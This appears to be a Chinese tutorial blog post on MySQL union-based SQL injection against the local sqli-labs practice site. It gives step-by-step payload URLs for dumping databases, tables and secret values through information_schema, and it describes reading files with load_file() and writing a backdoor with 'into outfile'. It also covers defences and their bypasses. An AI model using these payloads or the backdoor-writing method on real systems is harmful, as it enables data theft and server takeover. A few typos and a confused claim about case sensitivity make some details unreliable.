在实际开发中往往会出现一个网站对应一个数据库,而一个数据库对应一个特定管理员的情况。(假设情景中,开发使用的数据库都是Mysql数据库)。考虑第一个情景:比如A网站对应数据库A,而数据库A对应管理员A,如果存在注入点的情况下,测试出是数据库管理员A的权限在操作该网站数据库A,那么在不获取更高级权限的情况下,只能进行对本网站数据库A的本站注入操作。考虑第二个情景:B网站和C网站部署在同一个服务器上,共用同一个数据库,存在注入点的情况下,测试出B网站采用的是root权限登录,那么测试者就可以通过B网站对C网站的信息进行跨库查询,这是因为root权限是Mysql中的最高权限,能够操作数据库系统中所有的数据库。
数据库权限往往和开发代码中的配置文件有关,如以下代码中
//including the Mysql connect parameters.
**include("../sql-connections/sql-connect.php");**
error_reporting(0);
···
页面源码中找到如下路径/sql-connections/sql-connect.php
根据路径找到如下相关代码
//including the Mysql connect parameters. include("../sql-connections/db-creds.inc"); @error_reporting(0);
最终在db-creds.inc文件中找到相关配置代码,可以看出该网站使用的就是root权限操控数据库
- ``
【说明:低版本可以工具(如sqlmap)实现字典爆破,工具的使用不在这里介绍】
在上一篇博文中介绍了Mysql 5.0 中的information_schema内置数据库:
常用表名(tables)
常用列名(columns)
(本案例没有目标就是单纯的查询整理一个操作思路,竞赛中可以通过此方式获取同一服务器其他网站的敏感信息)
Step 1.测试注入点存在与否
http://127.0.0.1/sqli-labs-master/Less-2/?id=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20and%201=-1
判断存在注入点
Step 2.报错尝试
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20order%20by%204
根据此回显判断假逻辑的拼接语句为 union select 1,2,3
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3
判断联合查询中反复替换2,3字段为回显对象即可
Step 3. 信息收集
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),user()
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,version(),user()
可以得到如下可利用信息(其中假设Mysql在初步收集中已经通过站点扫描工具得到)
思路:
版本5.7.26说明可以采用高版本思路:information_schema库存在
用户是root权限说明可以通过当前站点操作整个数据库
Step 4. 数据注入
获取所有数据库名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3 from information_schema.schemata
获取目标表名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'
获取目标列名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3 from information_schema.columns where table_name='s80u0rkaf8'
获取目标值
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(sessid),group_concat(secret_1TTT) from challenges.s80u0rkaf8
自此我们在security数据库对应的页面中,拿到了challenge表的信息
路径的获取方法
不管是文件写入和文件读取,都需要知道一个路径作为参数,以下介绍几种获取路径的常用思路:
报错显示:网站错误的时候会显示出文件的路径 warning;
遗留文件:phpinfo.php敏感文件扫描;
漏洞报错:根据CMS和白引擎进行关键字搜索 “CMS + 爆路径”;
平台配置文件:根据环境来,尝试一些默认路径,但往往是会改动的,比较难找;
暴力破解:常规思路,尝试常见路径爆破;
文件读写:
读取函数:load_file(),语法: select load_file("path")
可以读取网站的配置信息,网站路径等
写入后门操作,直接再网站目录中写入后门脚本 select ‘x’ int outfile’path’–+
对于sql注入的一种防御策略是
1、平台自带策略
魔术引号为例:magic_quotes_gpc
在一个项目中,魔术引号若是打开的话,所有的反斜线(\)、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义,我们注入的语句中,可能包含大量的以上符号,打开魔术引号,可以对我们的明文注入产生干扰。
绕过方式也很简单:采用宽字符注入或者使用工具对我们注入的值进行编码转换成Hex十六进制
2、使用内置函数将代码写严谨
addslashed(),is_array(),is_integer()
例如:如下代码,严格限制id为整数
$id=$_GET['id'];
if(is_integer($id)){
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
echo '语句已执行'
}
else{
echo'不要乱搞'
3、关键字替换
$id=str_replace('select','lallalala',$id);
上述代码将id中的select关键词替换成无效语句,一定程度上也能避免注入操作,当然windows中不区分大小写,锁业如果采用这种思路需要充分考虑所有可能绕过安全机制的方案。
4、WAF产品
基本WAF产品也是通过一些过滤机制防止注入,本篇不对WAF绕过进行讲解